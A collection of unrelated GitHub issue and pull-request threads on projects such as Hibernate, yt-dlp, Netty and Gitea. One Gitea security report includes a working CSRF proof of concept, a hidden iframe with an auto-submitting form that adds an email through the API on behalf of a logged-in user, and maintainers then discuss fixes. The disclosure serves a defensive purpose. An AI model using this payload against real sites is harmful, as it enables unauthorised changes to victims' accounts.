I haven't dug deeper, but one of the things you'd have to check is the bytecode of the getter method. It is important to know which fields are accessed in a getter to know whether it is legal to allow non-initialized access. Otherwise you might see strange NPE where you wouldn't expect them.

@beikov thank you, will do

hm. I've found a related issue - https://hibernate.atlassian.net/browse/HHH-3718.

@here is there any CI ?? Now I just can run tests locally

There is a CI(http://ci.hibernate.org), but testing PRs is not yet automated. Please also squash the commits together to a single commit or split into a test and fix commit at the end and include the JIRA issue key in every commit message so that possible backporting gets easier.

I reworked it a little bit and will supply a new PR which simplifies the logic a little bit while retaining the getter method resolving required to preserve the Proxy.


Display a warning message if public key is missing

@sebastienblanc @stianst this change prevents people from getting Node.js exceptions when the public key is missing. This is just an alternative until we benefit of what @sebastienblanc has been doing here https://issues.jboss.org/browse/KEYCLOAK-3871

:+1:  LGTG , btw I plan to provide a PR for https://issues.jboss.org/browse/KEYCLOAK-3871 before the end of the week.

@sebastienblanc thank you, landed already


Close exe if PID passed in

Is it possible to add the ability to kill itself once the pid of sublime is killed somehow?

I assume its this line? https://github.com/OmniSharp/omnisharp-roslyn/blob/master/src/OmniSharp/Program.cs#L119

Yeah... and this https://github.com/OmniSharp/omnisharp-roslyn/blob/db74baa796e2dd65c1fd2751c601a02f91617a87/src/OmniSharp/Utilities/ProcessExtensions.cs

See #188


RET-2677: Add getSectionStatusForEmployment function for employment s…

JIRA link
https://tools.hmcts.net/jira/browse/RET-2677
Change description
[STEPS TO REPRODUCE]
Start a new application
On what type of claim page, select Unfair Dismissal, Pay related and Discrimination.
Fill all pre login ET1 steps until you get to Steps to making your claim page
[EXPECTED BEHAVIOUR]
All steps should  be in  Not Started state
[ACTUAL BEHAVIOUR]
Step 2 is  In Progress state
Does this PR introduce a breaking change? (check one with "x")
[ ] Yes
[ x] No

Checked this on preview and it didn't seem to be setting the section to in progress when you answer some questions

Changed conditions and tested once again(with and without unfairs), should be fine now.


Engine params  should be on job not program

This is using old way of specifying parameters.

@dabacon : Dave, I am planning to take this up. Can you please help me with a little more context around the same.

This has been done.


Discussion: Integration with webpack-blocks

I've started a discussion in the webpack-blocks repo on adding support for happypack. @amireh what do you think about working with me on a PR to add support?

is there any progress on this? 👍

Not yet.

I think we can close this here since it was closed in https://github.com/andywer/webpack-blocks/issues/14 and an implementation exists in https://github.com/diegohaz/webpack-blocks-happypack


Powershell disable horrible colored lines when we need a standard CLEAR output

Hi,
Powershell is a awesome tool but it lacks from a simples COLOR disable output, as if we try to caputre it outputs its always colored and destroy any work possible for a RAW output from any kind of console application.
It is a must to have an option at the console to just running a command as powershell -disabllecoloredoutput -c command
That is so simple, thousand of people asking for it around the internet, and still not being answered by the devs, WHY?

There's a new feature added for 7.2 that will give you a way to control this using env vars https://github.com/PowerShell/PowerShell/issues/14964.

One partial fix is to Remove the PSReadline Module.


Pandas agrees to be a core project

As discussed on the core team email list, and mentioned yesterday in the Community Meeting, this PR indicates that pandas agrees to participate in the SPEC process as a Core Project.
@jreback @datapythonista @TomAugspurger Please approve or thumbs up this PR to confirm.

lgtm


Improve the over-estimating size when doing ORC COALESCING reading

With https://github.com/NVIDIA/spark-rapids/pull/2909, ORC has supported COALESCING reading.
Before coalescing small files, we need to estimate an initial size to allocate a HostMemoryBuffer to store the HEADER, STRIPES, and FOOTER.

Better to have a design doc for the ORC coalesce, then we can review the current way.

PR merged. Close this issue


Spouts do not function in Unity 2021.2.0b2 standalone builds

I can not get any spout senders or receivers to function once I export my build via IL2CPP or MONO.  In my case -- using render textures.
All is working in play mode in editor.
Steps to produce:
Unity 2021.2.0b2 -> New Project
Add scoped registries
Install HDRP 12
Install KlakSpout 2.0.1
Add RenderTexture
Configure RenderTexture
Add GameObject
Add Spout Sender
Configure Spout Sender with RenderTexture and Name
Build
Run Build -> No spout activity
Windows 10, x64.

Thanks for reporting it. I found that conditional compilation I added in the last update (v2.0.1) caused this issue. I fixed it in v2.0.2.

I'm closing this issue as resolved. Please feel free to reopen it if it still reproduces.

I still dont get spout output when in standalone builds :/ even with the new version.

I dont get image when using in standalone builds, maybe you have an idea of whats going on?

Im using HDRP, Spout sender set to Camera and unity 2020.03.14f1

@antoniohof Could you post it as a new issue and attach a minimal project that reproduces the issue?


Fix DRY violation between this repo and https://github.com/Azure-For-Everyone/ai-shop

AI Prompt
I have two GitHub repositories:

https://github.com/Azure-For-Everyone/ai-shop let's call this "react UI" for discussion.

https://github.com/Azure-Samples/java-ai let's call this "java version" for discussion.

The "java version" repo uses "react UI" entirely as the UI. In fact, the code in the "java version" repo src/ai-shop-ui is just a copy of the "react UI" repo.
Such code copying is a "don't repeat yourself" violation. Give me some techniques to avoid this duplication. Is there any way using git itself to make it so the src/ai-shop-ui directory is somehow dynamically pulled from the actual "react UI" repo?
AI Response
Response
To avoid code duplication between your two GitHub repositories, you can use several techniques that leverage Git's capabilities. Here are some effective strategies:
1. Git Submodules
You can add the "react UI" repository as a submodule in your "java version" repository. This way, the src/ai-shop-ui directory can directly reference the "react UI" code.
Steps:

Navigate to your "java version" repository:cd path/to/java-ai

Add the "react UI" repository as a submodule:git submodule add https://github.com/Azure-For-Everyone/ai-shop src/ai-shop-ui

Initialize and update the submodule:git submodule init
git submodule update

2. Git Subtree
If you prefer to keep the "react UI" code within the "java version" repository but want to avoid duplication, you can use Git subtree. This allows you to pull in the "react UI" repository as a subtree.
Steps:

Add the "react UI" repository as a remote:git remote add react-ui https://github.com/Azure-For-Everyone/ai-shop

Fetch the remote repository:git fetch react-ui

Merge it into your desired directory:git subtree add --prefix=src/ai-shop-ui react-ui main --squash

3. Package Management
If the "react UI" can be packaged (e.g., as an npm package), you could publish it to a private npm registry or GitHub Packages. Then, you can install it in your "java version" repository.
Steps:

Package the "react UI" and publish it.
In your "java version" repository, install the package:npm install <package-name>

4. Symbolic Links (for Local Development)
If you're working locally and want to avoid duplication without using Git features, you can create a symbolic link from the "react UI" directory to the "java version" directory.
Steps:

Navigate to the "java version" repository:cd path/to/java-ai/src

Create a symbolic link:ln -s ../../path/to/react-ui ai-shop-ui

Conclusion
Using these techniques, you can effectively manage your codebase without violating the DRY (Don't Repeat Yourself) principle. Each method has its pros and cons, so choose the one that best fits your workflow and project structure. If you have any questions about these methods or need further assistance, feel free to ask!

@edburns thank you for proposing this issue. The repo https://github.com/Azure-For-Everyone/ai-shop was a placeholder. Therefore there is no need to use sub-modules.


how to identify selcted row and 'Column' as well ?

@iiitmanikanta, what's information you want to get about 'Column', react-bootstrap-table only support row selection, it will be better if you show me a simple case or example, thank you

Close it due to no response more than 7 days


Minus 1 when submit max-workers to thread pool

Context
As stated in #3273, currently, we allow main thread (i.e. the thread which is waiting for build operation queue's completion) to execute some work. The consequence is, the actual worker number is max-workers number +1. Since we can't set --max-workers=0 via command line, that means the work would always be executed parallelly.
This PR only submit max-workers-1 threads to thread pool to avoid this issue.
Gradle Core Team Checklist

[x] Verify test coverage and CI build status

Thanks!


Smoke sensor

Use description field in smoke sensor to distuingish it from on On/Off
switch. This can be used for smoke sensors which only have On/Off switch
charecteristics in Domoticz, such as a Fibaro FGSD002.
If you add "Reacticz: smoke sensor" to the description field in
Domoticz,  it will show as a smoke sensor on the Reacticz dashboard in
stead of an On/Off switch.
See https://github.com/t0mg/reacticz/pull/81#issuecomment-279186266.
You have to be on Domoticz version >= 3.6 to make this work. In the latest stable version 3.5877 the MQTT output doesn't contain the description field, which is needed for this to work.

@t0mg I am not sure what happens if the description field is not found in the MQTT output (which is the case in Domoticz latest stable release).
Is there an automatic check to see if the field is available?

Thanks! Please copy the explanation of this feature in the smoke detector entry of the wiki page :)


Show number of assigned issues for each member

Closes #29.

ok, let's try "deployed" ;)  thank you @jwodder !


Dosn't handle correclty when escaped braces are present

f"{{{{ foo }}}}" should become "{{ foo }}"

Fixed in v0.2.0. Nice catch!

Thank you!


Upgrade: Wait longer for minions to reboot

Wait 1200 seconds (20 minutes) for minions to reboot, instead of the
default 300 seconds (5 minutes). We increase this to cover off cases
where slower to boot physical hardware is used.
20 minutes was chosen as, I've seen physical hardware take 10-12 minutes
in the past, and someone likely has something that is slower to reboot.
bsc#1048683
Backport of https://github.com/kubic-project/salt/pull/167

Concourse CI is no longer triggering for release-1.0 branches, with 3x +A and a pass from Jenkins, this should be OK to merge.


Consider showing future incompatible warnings from dependencies

Consider showing future incompatible warnings from dependencies; otherwise projects may not have a head's up before that warning turns into an error one day.
Example: lalrpop depends on petgraph ^0.1.11, so they get version 0.1.18 from the registry. Version 0.1 is not receiving updates for whatever reason. There's a new future incompatible warning discovered that applies to all existing versions, and the 0.2 branch gets an update (0.2.6) that addresses it.
If the warning is not visible, then the rdeps of petgraph don't get any notice until their projects stop building. With the warning, they can maybe be encouraged to switch to the 0.2 version by themselves.

This is somewhat related to https://github.com/rust-lang/cargo/issues/2608, although it wouldn't solve this precisely

Since this was opened, future incompats are shown for dependencies.  Closing this as resolved.


[Feature] Strict column width

I am currently facing an issue with the rendered cells, because even though I set a specific width, the table scales its column width as it pleases. So, I think it would be nice to have a boolean property on column called "strictWidth" or something like that, that it works respecting the given width, regardless of the type of autofit the table has.
Thank you for reading.

I will consider adding this in the next version.
thank you

Hey @bosskmk, Min width is also not respected by column ``autoSizeMode: PlutoAutoSizeMode.scale,``` could that be fixed without the need for this boolean?

Alternatively autoSizeMode: PlutoAutoSizeMode.scale, could take into account column heading width to set its size, right now it just truncades the title

@ted-marozzi
It should be further developed.
It currently refers to the default minWidth , not the setting in PlutoColumn.minWidth.

until the next version you can try this:
  final columns = state!.columns;
  for (var element in columns) {
    state!.resizeColumn(element, 0.1);
    state!.resizeColumn(element, -0.1);
  }
  state!.notifyResizingListeners();
}


[Feature Request]: Need LoRA model in .gguf format

Feature request  / 功能建议

Similar to #231, but useful

Hey my dear bros, we're building an RAG application (especially for one of our products) using MiniCPM3. Below is our stack:

Type
Component

LLM
MiniCPM3

Web server
Shuttle | Axum

OpenAI-compatible API server
llama.cpp

Vector database
qdrant

It's almost done.
As MiniCPM3 comes with an RAG suite, we'd like to use the LoRA adapter for better performance, just like:
# Suppose we already have downloaded MiniCPM3-4B and MiniCPM3-RAG-LoRA-GGUF models in current directory
docker run --rm -it -p 8080:8080 -v $PWD/MiniCPM3-4B-GGUF:/models -v $PWD/MiniCPM3-RAG-LoRA-GGUF:/lora --gpus all ghcr.io/ggerganov/llama.cpp:server-cuda -m models/minicpm3-4b-q4_k_m.gguf --host <IP_ADDRESS> --port 8080 --n-gpu-layers 99 -v -ub 1024 -b 4096 --lora lora/lora-adapter-fp16.gguf

And the LoRA model cannot be converted to .gguf format now as the https://github.com/ggerganov/llama.cpp/pull/9396 haven't be merged:
# As ditto
docker run -it --rm --entrypoint /app/convert_lora_to_gguf.py -v $PWD/MiniCPM3-4B:/models -v $PWD/MiniCPM3-RAG-LoRA:/lora ghcr.io/ggerganov/llama.cpp:full --outtype q8_0 --base /models /lora

It said:
The repository for /models contains custom code which must be executed to correctly load the model. You can inspect the repository content at https://hf.co//models.
You can avoid this prompt in future by passing the argument `trust_remote_code=True`.

Or could you give us some tips for converting? Thanks a lot!
MiniCPM3 is, de facto, an ideal edge-side LLM for small companies.

Hello, I think the best solution at present is to merge the original weights of lora and minicpm3, and then start your process

Got. Let me have a try.


Minimal change to fix the problem with pollingGetActivity$

…letes"
when we get a 403 from the server.
The problem was that the checkConnection() call threw an exception when
the connectionStatus was ExpiredToken. This resulted in the outer catch
in the pollingGetActivity() function getting called which returned an
empty Observable that "completed" the activity$ stream.
A temporary fix for this problem is to not throw from the checkConnection
function - Also, we must not make AJAX calls while the connection status
is not online.

Thanks @ckkashyap. LGTM.
I will wait until James verified the fix is good.


Fix: TelegaPi URL

Although, GitHub redirected me to the correct account page, however, old URL should be replaced with the new one.

Merged, thanks!


XSS Attack Vulnerable

Hi,
I noticed that you guys don't have a security policy so I wasn't sure where to put this.
I have a demo of a XSS Attack with this library and wanted to make sure it was addressed since this package is about sanatizing markdown to prevent XSS Attacks.
My email is<EMAIL_ADDRESS>If I don't get an email in a few days I'll post the demo & code here.

Hello @Nate-Wilkins so you can share a demo with code here ?

@js2me @samber
Here's a StackBlitz that I put together.
This basically shows that javascript links can be injected into the resulting markdown. Doesn't necessarily mean that a malicious actor could execute an XSS attack in the client code but it doesn't sanatize this browser "feature".


Combine GPU multiprocess tests

Single file multiprocess_gpu_test.py for all gpu distributed tests.
Use pytest --forked ... to launch each test in a separate subprocess
to workaround conflicting multiple jax.distributed.init within a single
file/process.

closing in favor of https://github.com/google/jax/pull/12062


New about

Making some changes, forgiveness for the English. It is not my mother tongue. I am open to advice and suggestions #96 #97

Thanks @yesroh! I like the friendly, conversational tone in this.

closing, updated in #100


Add IMAGE=unused for heat_deploy_prep

This fixes the error where it expects an IMAGE value.
Add devsetup/tls.crt to git ignore since local setup instructions end up creating this file which we do not want checked in
Remove IMAGE=unused from heat_deploy
Add missing dependencies
Change-Id: I798db4e00738b4bf618eac126b233bb974050288

I'll rebase this on https://github.com/openstack-k8s-operators/install_yamls/pull/217 once that is merged. I'll mark this as WIP till then.

Oops I left a comment in a wrong PR. Ignore that.

/retest

Can we please get this merged?

/retest

/retest


[tiktok.com] Failure to obtain m3u8 URL of some live streams

DO NOT REMOVE OR SKIP THE ISSUE TEMPLATE

[X] I understand that I will be blocked if I intentionally remove or skip any mandatory* field

Checklist

[X] I'm reporting that a supported site is broken
[X] I've verified that I'm running yt-dlp version 2023.03.04 (update instructions) or later (specify commit)
[X] I've checked that all provided URLs are playable in a browser with the same IP and same login details
[X] I've checked that all URLs and arguments with special characters are properly quoted or escaped
[X] I've searched known issues and the bugtracker for similar issues including closed ones. DO NOT post duplicates
[X] I've read the guidelines for opening an issue
[X] I've read about sharing account credentials and I'm willing to share it if required

Region
Ireland
Provide a description that is worded well enough to be understood
There is an error when downloading some tiktok live streams (e.g. https://www.tiktok.com/@mikey_____7/live or  https://www.tiktok.com/@knkjewelrydesign/live)

ERROR: [tiktok:live]<PHONE_NUMBER>156120874: Failed to obtain m3u8 URL;

This error occurs not on every stream, but very often. And it is consistent with particular streams - after retrying yt-dlp fails to download m3u8 URL. For other streams, successful download is also consistent.
Provide verbose output that clearly demonstrates the problem

[X] Run your yt-dlp command with -vU flag added (yt-dlp -vU <your command line>)
[X] If using API, add 'verbose': True to YoutubeDL params instead
[X] Copy the WHOLE output (starting with [debug] Command-line config) and insert it below

Complete Verbose Output
[debug] Command-line config: ['-vU', 'https://www.tiktok.com/@mikey_____7/live']
[debug] Encodings: locale cp1251, fs utf-8, pref cp1251, out utf-8, error utf-8, screen utf-8
[debug] yt-dlp version<EMAIL_ADDRESS>[392389b7d] (win_exe)
[debug] Python 3.8.10 (CPython AMD64 64bit) - Windows-10-10.0.19045-SP0 (OpenSSL 1.1.1k  25 Mar 2021)
[debug] exe versions: ffmpeg 5.1.2-essentials_build-www.gyan.dev (setts), ffprobe 5.1.2-essentials_build-www.gyan.dev
[debug] Optional libraries: Cryptodome-3.17, brotli-1.0.9, certifi-2022.12.07, mutagen-1.46.0, sqlite3-2.6.0, websockets-10.4
[debug] Proxy map: {}
[debug] Loaded 1786 extractors
[debug] Fetching release info: https://api.github.com/repos/yt-dlp/yt-dlp/releases/latest
Available version<EMAIL_ADDRESS>Current version<EMAIL_ADDRESS>Current Build Hash: 5590c57bd0433ed239a2deaaf92e2ad6f37fe50f53664c821575cafe106a9421
yt-dlp is up to date<EMAIL_ADDRESS>[tiktok:live] Extracting URL: https://www.tiktok.com/@mikey_____7/live
[tiktok:live] mikey_____7: Downloading webpage
[tiktok:live]<PHONE_NUMBER>156120874: Downloading JSON metadata
ERROR: [tiktok:live]<PHONE_NUMBER>156120874: Failed to obtain m3u8 URL; please report this issue on  https://github.com/yt-dlp/yt-dlp/issues?q= , filling out the appropriate issue template. Confirm you are on the latest version using  yt-dlp -U
  File "yt_dlp\extractor\common.py", line 694, in extract
  File "yt_dlp\extractor\tiktok.py", line 1020, in _real_extract
  File "yt_dlp\extractor\common.py", line 1919, in _extract_m3u8_formats
  File "yt_dlp\extractor\common.py", line 1937, in _extract_m3u8_formats_and_subtitles

The livestreams for which the extractor fails to get the m3u8 URL do not make their m3u8 URLs available from the endpoint that we are using. Here's part of the API response JSON from the OP's URL (when stream was still live):
{
  "LiveRoomInfo": {
    "coverUrl": "https://p16-webcast.tiktokcdn.com/img/720x720/tos-maliva-avt-0068/f7ede8b12f61e3947fd20536469470dd~tplv-obj.jpeg",
    "liveRoomStats": {
      "userCount": 1554
    },
    "liveUrl": "",
    "roomID": "7207751234156120874",
    "status": 2,
    "title": "NYC 🗽 Walk n Talk"

There's likely another endpoint that we need to call for these.

@bashonly
I've seen other applications use the "https://webcast.tiktok.com/webcast/room/info" endpoint.
The api call could look something like this:
self._download_json(             "https://webcast.tiktok.com/webcast/room/info/", room_id, query={                 'aid': "1988",                 'room_id': room_id             }         )
And it returns a bunch of infos including the following relevant for formats:
{
    "candidate_resolution": [
        "SD1",
        "SD2",
        "HD1",
        "FULL_HD1"
    ],
    "complete_push_urls": [],
    "default_resolution": "ORIGION",
    "extra": {
        "anchor_interact_profile": 0,
        "audience_interact_profile": 0,
        "bframe_enable": false,
        "bitrate_adapt_strategy": 0,
        "bytevc1_enable": false,
        "default_bitrate": 0,
        "deprecated1": false,
        "fps": 0,
        "gop_sec": 0,
        "hardware_encode": false,
        "height": 0,
        "max_bitrate": 0,
        "min_bitrate": 0,
        "roi": false,
        "sw_roi": false,
        "video_profile": 0,
        "width": 0
    },
    "flv_pull_url": {
        "FULL_HD1": "https://pull-f5-va01.tiktokcdn.com/stage/stream-xxx_uhd.flv",
        "HD1": "https://pull-f5-va01.tiktokcdn.com/stage/stream-xxx_hd.flv",
        "SD1": "https://pull-f5-va01.tiktokcdn.com/stage/stream-xxx_ld.flv",
        "SD2": "https://pull-f5-va01.tiktokcdn.com/stage/stream-xxx_sd.flv"
    },
    "flv_pull_url_params": {
        "FULL_HD1": "{\"VCodec\":\"h264\"}",
        "HD1": "{\"VCodec\":\"h264\"}",
        "SD1": "{\"VCodec\":\"h264\"}",
        "SD2": "{\"VCodec\":\"h264\"}"
    },
    "hls_pull_url": "https://pull-hls-f16-va01.tiktokcdn.com/stage/stream-xxx_or4/index.m3u8",
    "hls_pull_url_map": {},
    "hls_pull_url_params": "{\"VCodec\":\"h264\"}",
    "id": 0,
    "id_str": "xxx",
    "live_core_sdk_data": {
        "pull_data": {
            "options": {
                "default_quality": {
                    "level": 0,
                    "name": "Original",
                    "resolution": "",
                    "sdk_key": "origin",
                    "v_codec": ""
                },
                "qualities": [
                    {
                        "level": 10,
                        "name": "Original",
                        "resolution": "",
                        "sdk_key": "origin",
                        "v_codec": ""
                    },
                    {
                        "level": 5,
                        "name": "1080p",
                        "resolution": "",
                        "sdk_key": "uhd",
                        "v_codec": ""
                    },
                    {
                        "level": 3,
                        "name": "720p",
                        "resolution": "",
                        "sdk_key": "hd",
                        "v_codec": ""
                    },
                    {
                        "level": 2,
                        "name": "540p",
                        "resolution": "",
                        "sdk_key": "sd",
                        "v_codec": ""
                    },
                    {
                        "level": 1,
                        "name": "360p",
                        "resolution": "",
                        "sdk_key": "ld",
                        "v_codec": ""
                    }
                ]
            },
            "stream_data": "{\"common\":{\"session_id\":\"044-20230309113232DB2FEB5401F99C100122\",\"rule_ids\":\"{\\\"ab_version_trace\\\":null,\\\"sched\\\":\\\"{\\\\\\\"result\\\\\\\":{\\\\\\\"hit\\\\\\\":\\\\\\\"default\\\\\\\",\\\\\\\"cdn\\\\\\\":107}}\\\"}\"},\"data\":{\"sd\":{\"main\":{\"flv\":\"https://pull-f5-va01.tiktokcdn.com/stage/stream-xxx_sd.flv\",\"hls\":\"https://pull-hls-f16-va01.tiktokcdn.com/stage/stream-xxx_sd/index.m3u8\",\"cmaf\":\"https://pull-f5-va01.tiktokcdn.com/stage/stream-xxx_sd/index.mpd\",\"dash\":\"\",\"lls\":\"\",\"tsl\":\"\",\"tile\":\"\",\"sdk_params\":\"{\\\"VCodec\\\":\\\"h264\\\",\\\"gop\\\":0,\\\"resolution\\\":\\\"480P\\\",\\\"vbitrate\\\":800000}\"}},\"ld\":{\"main\":{\"flv\":\"https://pull-f5-va01.tiktokcdn.com/stage/stream-xxx_ld.flv\",\"hls\":\"https://pull-hls-f16-va01.tiktokcdn.com/stage/stream-xxx_ld/index.m3u8\",\"cmaf\":\"https://pull-f5-va01.tiktokcdn.com/stage/stream-xxx_ld/index.mpd\",\"dash\":\"\",\"lls\":\"\",\"tsl\":\"\",\"tile\":\"\",\"sdk_params\":\"{\\\"VCodec\\\":\\\"h264\\\",\\\"gop\\\":0,\\\"resolution\\\":\\\"480P\\\",\\\"vbitrate\\\":500000}\"}},\"hd\":{\"main\":{\"flv\":\"https://pull-f5-va01.tiktokcdn.com/stage/stream-xxx_hd.flv\",\"hls\":\"https://pull-hls-f16-va01.tiktokcdn.com/stage/stream-xxx_hd/index.m3u8\",\"cmaf\":\"https://pull-f5-va01.tiktokcdn.com/stage/stream-xxx_hd/index.mpd\",\"dash\":\"\",\"lls\":\"\",\"tsl\":\"\",\"tile\":\"\",\"sdk_params\":\"{\\\"VCodec\\\":\\\"h264\\\",\\\"gop\\\":0,\\\"resolution\\\":\\\"540P\\\",\\\"vbitrate\\\":1000000}\"}},\"uhd\":{\"main\":{\"flv\":\"https://pull-f5-va01.tiktokcdn.com/stage/stream-xxx_uhd.flv\",\"hls\":\"https://pull-hls-f16-va01.tiktokcdn.com/stage/stream-xxx_uhd/index.m3u8\",\"cmaf\":\"https://pull-f5-va01.tiktokcdn.com/stage/stream-xxx_uhd/index.mpd\",\"dash\":\"\",\"lls\":\"\",\"tsl\":\"\",\"tile\":\"\",\"sdk_params\":\"{\\\"VCodec\\\":\\\"h264\\\",\\\"gop\\\":0,\\\"resolution\\\":\\\"720P\\\",\\\"vbitrate\\\":1000000}\"}},\"origin\":{\"main\":{\"flv\":\"https://pull-f5-va01.tiktokcdn.com/stage/stream-xxx_or4.flv\",\"hls\":\"https://pull-hls-f16-va01.tiktokcdn.com/stage/stream-xxx_or4/index.m3u8\",\"cmaf\":\"https://pull-f5-va01.tiktokcdn.com/stage/stream-xxx_or4/index.mpd\",\"dash\":\"\",\"lls\":\"\",\"tsl\":\"\",\"tile\":\"\",\"sdk_params\":\"{\\\"VCodec\\\":\\\"h264\\\",\\\"gop\\\":4,\\\"resolution\\\":\\\"or4\\\",\\\"vbitrate\\\":1000000}\"}}}}"
        }
    },
    "provider": 0,
    "push_urls": [],
    "resolution_name": {
        "AUTO": "AUTO",
        "FULL_HD1": "1080p",
        "HD1": "720p",
        "ORIGION": "Original",
        "SD1": "360p",
        "SD2": "540p",
        "pm_mt_video_1080p60": "1080p60",
        "pm_mt_video_720p60": "720p60"
    },
    "rtmp_pull_url": "https://pull-f5-va01.tiktokcdn.com/stage/stream-xxx_or4.flv",
    "rtmp_pull_url_params": "{\"VCodec\":\"h264\"}",
    "rtmp_push_url": "",
    "rtmp_push_url_params": "",
    "stream_control_type": 0,
    "stream_delay_ms": 0,
    "vr_type": 0
}

I'm not keen on the implementation details of the current extractor but maybe this still helps someone understands it more.
I have an example implementation which adds more formats using this endpoint, but as i said before I have no clue how you guys usually implement these extractors properly.


[Security] API endpoint doesn't enforce an authorization

Gitea version (or commit ref): every version with swagger api
Git version: not relevant
Operating system: not relevant
Database (use [x]):

[ ] PostgreSQL
[ ] MySQL
[ ] MSSQL
[ ] SQLite

Can you reproduce the bug at https://try.gitea.io:

[x] Yes (provide example URL)
[ ] No
[ ] Not relevant

Log gist:

Description
Gitea API doesn't enforce the use of a token ( or one of the "Available authorizations" ) because it also trust the user session. In fact, once logged in, visiting, for example, https://try.gitea.io/api/v1/user/emails or https://try.gitea.io/api/v1/user/emails?access_token=token ( or https://try.gitea.io/api/v1/user/emails?token=token and so on ) it's the same and the API responds properly. This means that a malicious page can make the browser send a POST request to add a new email, create a gpg key, etc. In other words all API POST requests are affected. From my tests, GET seems to be unaffected as I didn't find a method to retrieve the response and regarding others I didn't find a way to make a DELETE etc. requests.
Payload used ( visit page1.html ):
page1.html
<!DOCTYPE html>
<html>
<body>
<iframe src="page2.html" width="0" height="0">
</body>
</html>

page2.html
<!DOCTYPE html>
<html>
<body>
<form id="form" action="https://try.gitea.io/api/v1/user/emails" method="post">
  <input type="text" name="emails"<EMAIL_ADDRESS>  <br>
  <input type="submit" value="Submit">
</form>
<script>
   document.getElementById("form").submit();
</script>
</body>
</html>

I used a non visible iframe so the form and later the API answer don't get displayed and javascript for an auto submit ( no user interaction ).
I don't know exactly the impact of this issue yet...
Screenshots
None

Because Gitea's UI are also using some APIs, so the APIs support many authorizations(session is one of them). But do you found any missing permissions checking?

Because Gitea's UI are also using some APIs

Oh, right.
Regarding missing permission, no I haven't found any. I was only showing that if the user session can be used to authenticate the API, this can be abused as described above. Didn't know it was an intended result.
Just for the record, what if this is used to add a key to a repository? Then someone would have read / write access to it ( even if private ). That's worse than adding an email that can't even be used to reset the password ( API can't set an email as primary ), as I said in the issue description.
I haven't any other info to send over email.

I think you are right. Maybe we should use different routes for UI and APIs.

The easiest fix I can suggest is that the Gitea's UI, instead of using session, use it's own token like the ones in user settings and so then the API can reject session as an authentication factor. Not sure how this token should be handled ( It is shown in the settings? It can be regenerated by the user? ), but at least this approach doesn't require a complete API and UI's change. BTW, this should be generated when user is created and maybe a migration ( ? ) for existing accounts.

Perhaps we could use the CSRF token as a second factor

I agree with you @techknowlogick.
Session authentication with a CSRF check would fix it.

Is someone working on this issue now? if not, I will prepare a PR and check whether a token (or basic auth) has been used to authenticate. the check can be added to reqToken handler.


Http2 flow controller should implement adaptive stream window sizes

Stream window size should increase to a larger proportion of the available connection window size in response to the processed window crossing the window update threshold.
By default the initial window size for a stream is 64k which when processing a large stream of data can cause a significant no. of window updates to be written. If we make the assumption that we've exhausted it once then we're likely to exhaust it again then it makes sense to increase it adaptively. If the connection window is larger than the stream window then allowing the stream window to increase on the first returned WINDOW_UPDATE would allow for fewer window updates.
Rough proposal - On delivery of the first WINDOW_UPDATE allow the stream connection window to increase to a configurable ratio of the connection window.
@Scottmitch @nmittler

Just to keep things simple, would it make sense to just always expand the stream windows to the max(initialConnectionWindow, initialStreamWindow)? Since the initial stream window size can theoretically be made larger than the connection window size via WINDOW_UPDATE.

Yup, I would be happy with that.

@louiscryan - I see the potential benefit here but I'm a bit hesitant to put these types of heuristics in the flow controller. Not against it but just want to explore our options. Is it possible to implement this on top of the flow controller, or provide more hooks into when window updates are sent to be able to react (increment initial window size for the stream)?


DX-468 future rate limit changes (To be merged June 3rd at 2pm EST)

For the Committer

[ ] I made sure that the site looks great and functions perfectly live
[ ] I ran splell check
[ ] I'm ready for these changes to be made live

For the Reviewer
General Review

[ ] All changes/updates requested were intentionally changed or added (no extraneous file or partial updates)
[ ] The live rendered page behaves and looks like intended.
[ ] All links work as intended. (click every link to make sure that it takes the user to the expected place).
[ ] The markdown was rendered to HTML as intended. (Tables look right, code samples are gated properly).
[ ] Any style or CSS changes are tested on multiple different pages to ensure nothing unexpected broke or changed.
[ ] I proof-read the live site (gitbook serve) and there are no oblivious splelling or grammer misteaks.

Gitbook Specific

[ ] Any new documentation pages have been added to the SUMMARY.md file so they are rendered to HTML.
[ ] Any links to other pages within this documentation use relative links ([read more about ...](guides/voice/voicemail.md)).
[ ] Gitbook can install and build the documentation (gitbook install & gitbook build)

Code Specific

[ ] All code has been tested against the live API.
[ ] All code can be run without throwing errors or new warnings.
[ ] All code is formatted correctly and consistently (spaces, tabs).
[ ] All code is legible and idiomatic to the language.
[ ] All code uses sensical method, function, and variable names.
[ ] All code samples use the appropriate syntax highlighting.
[ ] Any examples re-use same phone numbers, uuids, variable names, etc... throughout (IE don't have something like {from: '+19191231234', to: '+19191231234'} unless it's meant to show the same phone number calling/texting itself ).

TL;DR

[ ] I did these things
[ ] I'm ready for these changes to be made live

Preview Changes at:
http://bw-apdocs-DX-468.s3-website-us-east-1.amazonaws.com/

A few things:
Is there a reason why the docs say the changes happen July 1, we're merging them July 3, and it uses language that creates a new page for the rate limit changes, rather than just changing the rate limits inline and showcasing them. If these changes are going live as/before the docs, shouldn't we change the rate limits inline (and maybe also flag the new changes in a separate page?)
Also, for me, I can't get the rate limits page to load in the generated preview - this may be unrelated however.

Is there a reason why the docs say the changes happen July 1, we're merging them July 3

The customer communication is going out on June 3rd, and Justin Pinnix requested that the docs reflect future changes for any customers that we onboard between June 3rd and July 1st

and it uses language that creates a new page for the rate limit changes, rather than just changing the rate limits inline and showcasing them. If these changes are going live as/before the docs, shouldn't we change the rate limits inline (and maybe also flag the new changes in a separate page?)

I personally felt that a standalone page reflecting the incoming future changes made the most sense since it stands out on the other pages, and the change is significantly different from what we currently use for rate limits. I'm open to moving this into the current pages if that would be more clear

Also, for me, I can't get the rate limits page to load in the generated preview - this may be unrelated however.

See if this link works https://s3.amazonaws.com/bw-apdocs-dx-468/rateLimits/futureChanges.html. I think we may need to update the DX-Bandwidth bot to link to URLs like these. I've personally found them to be more stable


Input and Output folders on network paths (unmapped networks) are unsupported.

There's that exact warning below the output log, and every time I try and unlink, it completes the process without doing anything.
Thanks.
EDIT: Forgot to mention, I am running Windows 8. And I tried to get a log, but there's nothing.

Could you post a log? There'll be a log inside the output window. Or is there none?

Nothing whatsoever. It's the strangest thing.
I just press unlink, wait a few moments, and it says it's finished without actually doing anything.

You installed Perl and all the stuff from the main page?
On Sun, Jun 7, 2015 at 1:55 PM, Yoggedy<EMAIL_ADDRESS>wrote:

Nothing whatsoever. It's the strangest thing.
I just press unlink, wait a few moments, and it says it's finished without
actually doing anything.
—
Reply to this email directly or view it on GitHub
